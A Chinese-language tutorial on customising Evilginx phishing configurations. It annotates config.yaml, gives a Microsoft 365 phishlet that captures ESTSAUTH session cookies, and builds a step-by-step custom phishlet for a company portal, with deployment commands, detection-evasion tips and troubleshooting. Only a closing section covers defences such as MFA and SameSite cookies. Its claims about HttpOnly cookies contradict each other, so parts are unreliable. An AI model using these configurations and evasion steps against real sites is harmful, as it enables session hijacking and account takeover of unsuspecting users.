1. 项目概述从工具理解到风险认知最近在和一些做安全研究的朋友交流时频繁听到一个词Evilginx。这玩意儿在红队演练和渗透测试的圈子里名声不小但水也挺深。简单来说Evilginx是一个中间人攻击Man-in-the-Middle, MITM框架核心原理是扮演一个“邪恶的”反向代理。它不像传统的钓鱼网站那样需要你吭哧吭哧地去仿造一个目标网站的登录页面而是直接在你和目标网站之间插一脚。当受害者访问你控制的域名时Evilginx会透明地将请求转发到真实的网站同时悄无声息地截获会话令牌比如Cookie、Token。这意味着你拿到的是货真价实的、能直接登录受害者账户的凭证而不是一个需要破解的密码。听起来很厉害对吧但今天咱们要聊的不是怎么用它去搞事情而是深度剖析它的“心脏”——配置文件。为什么因为市面上大多数关于Evilginx的教程都停留在“一键启动”、“默认配置”的层面好像这工具就是个黑盒子按个按钮就能出结果。但真正想理解其威力、评估其风险或者从防御角度去思考如何检测和防范你必须得知道它的配置文件里每一行代码在干什么。只有拆开了、揉碎了看你才能明白攻击者可以如何高度定制化地针对“任意网站”而不是仅仅局限于Gmail、Facebook这些预设模板。更重要的是对于防守方——无论是企业的安全工程师、运维还是普通的开发者——理解攻击工具的运作细节是构建有效防御的第一道门槛。你不知道贼从哪儿进来怎么知道该在哪儿砌墙呢所以这篇文章会假设你是一个对Web安全和网络协议有基本了解的技术从业者我们一起打开Evilginx的配置文件看看这个“钓鱼模板”到底是如何被自定义以及背后隐藏着哪些需要警惕的技术细节和攻击向量。2. Evilginx核心机制与配置文件架构解析在动手改配置文件之前我们必须先搞清楚Evilginx是怎么工作的。把它想象成一个非常狡猾的餐厅服务员。正常的流程是顾客受害者点菜访问网站服务员把订单送到后厨真实服务器然后把做好的菜端回来。而Evilginx这个“邪恶服务员”干了什么呢他照样把订单送往后厨也把菜端给顾客但在这一来一回中他偷偷记下了顾客最喜欢的口味配方会话令牌。下次他甚至可以自己冒充这个顾客去点菜。技术层面它利用了反向代理和HTTP主机头注入。当你在攻击机比如一台VPS上运行Evilginx时它会监听80和443端口。你需要将一个域名例如login.yourapp.com的DNS解析指向这台攻击机。受害者访问这个域名时Evilginx会根据配置文件将请求转发到预设的真实网站例如login.realwebsite.com同时它会在HTTP响应中动手脚将其中的链接域名都替换成自己的钓鱼域名并设置一个精心构造的钓鱼域名下的Cookie来捕获令牌。它的配置文件主要分为两大块主配置文件config.yaml和钓鱼模板目录phishlets。主配置文件定义了全局参数比如监听端口、日志路径、SSL证书等。而每一个钓鱼模板则对应一个你想要攻击的特定网站或服务如Office 365、GitHub、企业内部OA里面包含了如何解析该网站、截获哪些关键参数的核心逻辑。2.1 主配置文件config.yaml深度拆解默认的config.yaml看起来可能有点让人发怵但结构很清晰。我们挑几个关键部分来说。server: bind_addr: 0.0.0.0 port: 443 hostname: your-phishing-domain.com # 是否使用TLS终结。Evilginx推荐在它这里终结TLS然后用HTTP向后端转发方便解密和修改流量。 use_tls_termination: true tls: cert_path: /path/to/cert.pem key_path: /path/to/key.pembind_addr: 0.0.0.0这意味着监听所有网络接口。在公网VPS上部署时必须这样设置以便接收来自互联网的请求。如果你只是在本地测试可以改为127.0.0.1。use_tls_termination: true这是关键。启用后Evilginx会用自己的SSL证书你提供的cert.pem和key.pem与受害者浏览器建立HTTPS连接。这样它就能以明文方式看到和处理所有流量。对于后端真实网站它可以继续使用HTTPSproxy_pass到https://...但中间的解密和再加密过程完全可控。这里有个大坑你的证书必须是浏览器信任的。你可以用Let‘s Encrypt免费申请但申请过程需要验证域名所有权这本身就暴露了你的钓鱼域名。攻击者有时会使用自签名证书但这会引发浏览器巨大的安全警告钓鱼成功率骤降。hostname这里填写你的钓鱼根域名。后续在钓鱼模板中会基于此生成子域名。proxy: # 上游DNS服务器用于解析真实网站的域名。 upstream_dns: 8.8.8.8 # 是否验证上游服务器的SSL证书。通常设为false以避免因为证书问题导致代理失败。 # 但注意这会使中间人攻击本身更容易受到“中间人中的中间人”攻击如果你的流量被劫持。 skip_upstream_tls_verify: falseupstream_dnsEvilginx需要解析真实网站的IP地址。这里配置一个可靠的DNS服务器。skip_upstream_tls_verify设为false是更安全的选择它会检查真实网站的SSL证书是否有效。如果目标网站用了自签名证书或过期证书设为true可以绕过但增加了风险。在红队评估内网系统时可能会遇到大量自签名证书此时需要设为true。phishlets: # 启用的钓鱼模板列表 enabled: - o365 - github # 钓鱼模板的存储目录 store_dir: /path/to/evilginx/phishlets这是核心。enabled下列出了当前激活的钓鱼模板名称对应phishlets目录下的.yaml文件名。store_dir指向模板目录。2.2 钓鱼模板Phishlet文件结构解剖一个钓鱼模板文件如o365.yaml才是真正的“魔法书”。它定义了Evilginx如何与特定网站交互。其结构大致如下name: o365 # 模板标识名 author: Your Name min_ver: 3.0.0 # 兼容的Evilginx最低版本 proxy_hosts: # 定义需要代理的真实主机 - {phish_sub: login, orig_sub: login, domain: microsoft.com, session: true, is_landing: false} - {phish_sub: account, orig_sub: account, domain: microsoft.com, session: true, is_landing: false} sub_filters: # 子域名过滤器用于在响应内容中替换链接 - {hostname: ^login\\.microsoft\\.com$, sub: login, domain: %s, mime: text/html, search: login\\.microsoft\\.com, replace: login.%s} - {hostname: ^account\\.microsoft\\.com$, sub: account, domain: %s, mime: text/html, search: account\\.microsoft\\.com, replace: account.%s} auth_tokens: # 定义要捕获的认证令牌 - domain: .microsoft.com keys: [ESTSAUTH, ESTSAUTHPERSISTENT]我们来逐一拆解proxy_hosts这是路由规则。它告诉Evilginx“当有人访问[phish_sub].[你的钓鱼域名]时把请求转发到[orig_sub].[domain]”。phish_sub钓鱼子域名如login。orig_sub真实网站的子域名如login。domain真实网站的根域名如microsoft.com。session: true表示与此主机的交互需要维持会话捕获Cookie。is_landing: false表示这不是初始登录页面。通常登录页面会设为true。自定义关键如果你想攻击一个内部系统hr.corp.com你就可以在这里添加一条记录{phish_sub: hr, orig_sub: hr, domain: corp.com, session: true, is_landing: true}。这样访问hr.your-phish.com就会被代理到hr.corp.com。sub_filters这是内容重写规则。因为真实网站返回的HTML、JS里链接都是指向它自己的域名如login.microsoft.com。如果不改掉受害者点击链接就直接跳到真实网站了钓鱼就断了。sub_filters的作用就是在HTTP响应体里把指定的字符串search替换成钓鱼域名replace。hostname一个正则表达式匹配哪个主机返回的内容需要被过滤。mime: text/html通常只过滤HTML内容。JS、CSS可能也需要但处理不当容易导致页面功能异常。search和replace%s是通配符会被替换成你的钓鱼根域名。这里的正则和替换需要非常精确否则可能导致页面样式错乱、功能失效引起受害者怀疑。实操心得对于现代单页面应用SPA如React、Vue构建的站点大量的路由和API调用是通过JavaScript动态完成的。简单的文本替换可能不够你需要仔细分析网络请求可能还需要配置针对application/jsonMIME类型的过滤器来重写API端点。这是自定义模板中最繁琐、最容易出错的部分。auth_tokens这是战利品清单。定义了你想要从受害者那里偷取的Cookie名称。domainCookie的作用域。通常是.目标域名确保能捕获到该域名下的所有相关Cookie。keys一个列表包含你要窃取的Cookie名称。这些Cookie通常就是会话标识符。如何确定这些Key这需要手动分析。用浏览器无痕模式登录目标网站然后打开开发者工具的“应用程序”Application标签查看存储的Cookies。寻找那些看起来像会话令牌的名称可能包含session,token,auth,sessid等特别是那些HttpOnly属性为false的因为JS可读Evilginx才能捕获。有些网站会把令牌放在localStorage或请求头里这就需要更高级的定制可能涉及编写自定义的Lua脚本注入。3. 实战为任意网站创建自定义钓鱼模板理论说了这么多我们来模拟一个场景假设我们需要为一个虚构的内部员工门户portal.company.com创建钓鱼模板。我们的钓鱼域名是portal.company.xyz。3.1 前期侦察与信息收集在动配置文件之前侦察至关重要。访问目标用浏览器正常访问portal.company.com记录下整个登录流程。分析登录流程登录表单提交到哪个URL例如POST https://portal.company.com/api/login登录成功后跳转到哪个页面例如https://portal.company.com/dashboard过程中涉及哪些子域名可能还有api.company.com,static.company.com检查认证机制打开开发者工具 - 网络Network标签勾选“保留日志”Preserve log。完成登录观察登录请求的响应头。重点看Set-Cookie字段。记下所有看起来像会话的Cookie名例如session_id,auth_token,JWT。检查登录后的其他请求看它们携带了哪些Cookie或Authorization头。分析页面内容查看登录页面的HTML源码注意所有链接href、脚本src、表单action的URL看它们是绝对路径还是相对路径。绝对路径的域名是什么。3.2 编写自定义Phishlet文件基于侦察结果我们创建portal_company.yaml。name: portal_company author: Security Researcher min_ver: 3.0.0 proxy_hosts: # 主登录门户 - {phish_sub: portal, orig_sub: portal, domain: company.com, session: true, is_landing: true} # 假设还有API子域 - {phish_sub: api, orig_sub: api, domain: company.com, session: true, is_landing: false} # 静态资源子域 - {phish_sub: static, orig_sub: static, domain: company.com, session: false, is_landing: false} sub_filters: # 替换主门户页面中的所有 portal.company.com 链接 - hostname: ^portal\\.company\\.com$ sub: portal domain: %s mime: text/html search: portal\\.company\\.com replace: portal.%s # 替换主门户页面中的所有 api.company.com API端点 - hostname: ^portal\\.company\\.com$ sub: portal domain: %s mime: text/html search: api\\.company\\.com replace: api.%s # 替换主门户页面中的静态资源链接 - hostname: ^portal\\.company\\.com$ sub: portal domain: %s mime: text/html search: static\\.company\\.com replace: static.%s # 替换从API返回的JSON数据中可能包含的域名引用如果API响应里有 - hostname: ^api\\.company\\.com$ sub: api domain: %s mime: application/json search: portal\\.company\\.com replace: portal.%s auth_tokens: - domain: .company.com keys: [session_id, auth_token] # 根据侦察结果填写注意事项与技巧session: false对于static这类只提供图片、CSS、JS文件的子域通常不需要维持会话设为false可以减轻服务器负担。MIME类型过滤application/json过滤非常有用特别是对于前后端分离的应用。前端JS可能从API响应中获取新的URL。但必须小心不要破坏了JSON的数据结构。正则表达式精确性search里的正则portal\\.company\\.com使用了转义点号确保只匹配域名不会匹配到其他包含该字符串的内容。^和$在hostname里用于精确匹配请求的主机头。测试顺序不要一次性写完所有过滤器。先配置最基本的proxy_hosts和针对HTML的sub_filters确保页面能加载。再逐步添加API和JSON的过滤器每加一条都仔细测试页面功能是否正常。3.3 配置主文件与部署测试修改config.yamlphishlets: enabled: - portal_company # 启用我们刚写的模板 store_dir: /path/to/your/phishlets/directory server: hostname: company.xyz # 你的钓鱼根域名 # ... 其他配置如端口、证书路径DNS设置将portal.company.xyz,api.company.xyz,static.company.xyz的A记录都指向你的Evilginx服务器IP。启动与测试启动Evilginxsudo evilginx -config /path/to/config.yaml在你自己控制的测试浏览器中访问https://portal.company.xyz。预期行为你应该能看到和portal.company.com一模一样的登录页面。查看页面源码里面的链接应该都变成了portal.company.xyz、api.company.xyz等。尝试用测试账号登录。观察Evilginx的控制台输出它应该会显示拦截到的请求和捕获到的Cookie。登录后检查页面跳转和所有功能点击链接、加载数据是否都正常工作且地址栏始终保持在你的钓鱼域名下。4. 高级定制与疑难问题排查基础模板能工作但面对复杂的现代Web应用你可能会遇到各种问题。4.1 处理JavaScript动态内容很多网站用JS动态构造URL。简单的文本替换可能抓不到它们。你需要注入自定义JSEvilginx支持通过js_inject配置项在所有HTML响应中注入一段JavaScript代码。你可以用这段代码来覆写浏览器的XMLHttpRequest和Fetch API拦截所有AJAX请求和响应动态修改其中的URL。这属于高阶技巧需要对前端和Evilginx的Lua脚本扩展有深入理解且极易因脚本错误导致页面崩溃暴露攻击。更精细的sub_filters仔细分析网站加载的每一个JS文件找出其中硬编码的域名字符串为它们添加额外的sub_filters。MIME类型设为application/javascript。4.2 捕获非Cookie令牌有些应用不使用Cookie而是用Authorization: Bearer JWT这样的HTTP头或者将Token存储在localStorage中。HTTP头令牌Evilginx默认不捕获这些。你需要修改或编写自定义的Lua脚本模块在请求转发给受害者前从请求头中提取并保存令牌。这需要你熟悉Evilginx的插件系统如果有的话或直接修改其Go源码门槛很高。localStorage/IndexedDB这几乎无法通过中间人代理直接捕获因为这是浏览器同源策略下的本地存储。攻击者通常需要结合XSS漏洞才能窃取。Evilginx这类MITM工具在此场景下作用有限。4.3 规避检测与提高真实性SSL证书使用Let‘s Encrypt的泛域名证书*.your-phish.com是最佳选择能让浏览器显示“安全锁”极大降低警惕性。但申请过程会留下公开记录。IP信誉使用“干净”的云服务器IP避免使用已知的垃圾邮件或攻击IP段。页面一致性确保过滤后的页面在所有浏览器和设备上显示正常。响应头如Content-Type,Cache-Control也应与真实网站保持一致避免因缺少X-Frame-Options等头而导致页面无法在iframe中加载如果采用iframe钓鱼方式。登录后行为成功的钓鱼不仅要拿到令牌还要让受害者感觉登录成功了。这意味着登录后的跳转、用户信息展示、甚至后续的几次交互都要流畅。你需要精心配置proxy_hosts和sub_filters来支持用户登录后的多个页面。4.4 常见问题排查表问题现象可能原因排查步骤访问钓鱼域名显示“连接被拒绝”或超时Evilginx服务未启动防火墙阻止端口DNS未生效1. 检查Evilginx进程是否运行 (ps aux | grep evilginx)。2. 检查服务器防火墙是否开放了80/443端口 (sudo ufw status)。3. 使用dig portal.your-phish.com或nslookup检查DNS解析是否正确。页面能打开但样式全乱图片不显示sub_filters未覆盖所有资源域名静态资源子域未配置或session: false导致问题1. 浏览器F12打开开发者工具查看“网络”标签哪些资源加载失败404或错误。2. 检查失败资源的原始URL是什么是否为未在proxy_hosts中配置的子域。3. 检查对应的sub_filters规则是否遗漏特别是CSS、JS、图片文件可能来自不同子域。登录按钮点击无反应或登录后白屏/报错API子域代理或过滤失败JSON响应中的URL未替换动态JS问题1. 在登录过程中查看“网络”标签中POST登录请求的响应。是否被正确代理2. 查看登录成功后跳转或数据加载的API请求XHR/Fetch。这些请求是否发送到了你的钓鱼域名api.your-phish.com3. 检查这些API请求的响应内容JSON里面是否还包含原始域名需要为application/json添加sub_filters。Evilginx控制台没有捕获到Cookieauth_tokens中定义的Cookie名错误Cookie是HttpOnly登录流程未触发设置这些Cookie1. 手动正常登录目标网站再次确认Cookie名称。2. 检查这些Cookie的“HttpOnly”属性是否为true。如果是Evilginx无法通过代理直接捕获需要其他手段。3. 可能登录流程分多步关键的Cookie在后续步骤才设置确保你的钓鱼流程走到了那一步。浏览器地址栏显示“不安全”或证书错误SSL证书配置错误证书不匹配域名自签名证书未被信任1. 检查config.yaml中cert_path和key_path指向的文件是否正确。2. 确保证书是针对你钓鱼域名如*.your-phish.com签发的。3. 绝对不要在生产钓鱼中使用自签名证书。5. 防御视角如何识别和防范此类攻击作为防御方了解攻击手法是为了更好地防护。Evilginx这类高级钓鱼攻击传统基于“页面相似度”或“域名拼写错误”的检测方法会失效因为页面就是真的。防御需要多维度结合终端用户教育治标不治本但必要检查URL养成习惯在输入敏感信息前仔细看一眼浏览器地址栏的完整域名。对于重要服务建议手动输入网址或使用书签访问。警惕“重新登录”提示如果你已经登录了一个服务突然又跳出登录框需要高度警惕。使用密码管理器好的密码管理器如Bitwarden、1Password通常不会在非原始域名上自动填充密码。如果它不自动填充就是一个警示信号。技术防护措施强制使用双因素认证2FA/多因素认证MFA这是最有效的防御手段之一。即使会话Cookie被盗攻击者没有第二因素如手机验证码、硬件安全密钥也无法登录。注意一些传统的基于短信的2FA如果SIM卡被劫持仍有风险。推荐使用TOTP如Google Authenticator或FIDO2硬件密钥。绑定设备/地理位置企业级应用可以记录用户的常用登录设备、IP地理位置。当检测到从未见过的新设备或异常地理位置尝试使用有效会话登录时要求进行二次验证或直接阻止。缩短会话有效期设置较短的会话超时时间并定期要求重新认证。这能限制被盗Cookie的可用时间窗口。设置Cookie安全属性Secure确保Cookie只通过HTTPS传输防止在明文HTTP中被截获。HttpOnly防止JavaScript通过document.cookieAPI访问能有效防御XSS窃取Cookie但对Evilginx这类服务器端代理无效因为代理是在HTTP层面看到Cookie头的。SameSiteStrict/Lax这个属性非常关键它限制了Cookie在跨站请求中的发送。设置为Strict后Cookie仅在同站请求即来自相同站点的导航中发送。这意味着即使用户被诱骗点击了evil.com上的链接跳转到yourbank.com浏览器也不会自动携带yourbank.com的会话Cookie。这能极大增加Evilginx等攻击的难度因为攻击者需要诱使用户在钓鱼域名下完成整个登录流程而不仅仅是点击一个链接。现代浏览器已默认将没有明确指定SameSite的Cookie视为Lax这是一项重要的安全改进。实施证书钉扎Certificate Pinning在客户端如移动App中内置信任的服务器证书指纹。这样即使攻击者提供了由其他CA签发的、浏览器信任的证书客户端也会拒绝连接。但这主要保护的是特定客户端对普通Web浏览防护有限。网络与日志监控监控DNS日志寻找指向可疑IP地址的、与企业域名相似的子域名解析请求。分析Web服务器访问日志寻找来源IP异常、User-Agent异常、或短时间内同一会话从多个不同地理位置IP发起的请求。使用安全邮件网关SEG和Web安全网关它们通常集成了基于AI的钓鱼检测能分析邮件内容、链接指向域名的信誉、证书信息等。Evilginx配置文件的自定义能力将其从一个“开箱即用”的钓鱼工具变成了一个高度可定化的中间人攻击框架。理解它的每一个配置项就像读懂了攻击者的剧本。对于攻击者而言这意味着可以更精准、更隐蔽地发动攻击对于防御者而言这揭示了攻击链中最脆弱的环节——用户对域名的疏忽、会话令牌的过度长寿、以及Cookie安全属性的配置不当。安全永远是攻防双方的博弈而深度理解对方手中的武器是让自己立于不败之地的第一步。在实战中任何配置的修改都需要经过细致的测试一个微小的过滤规则错误或遗漏的资源域名都可能导致整个钓鱼页面崩盘前功尽弃。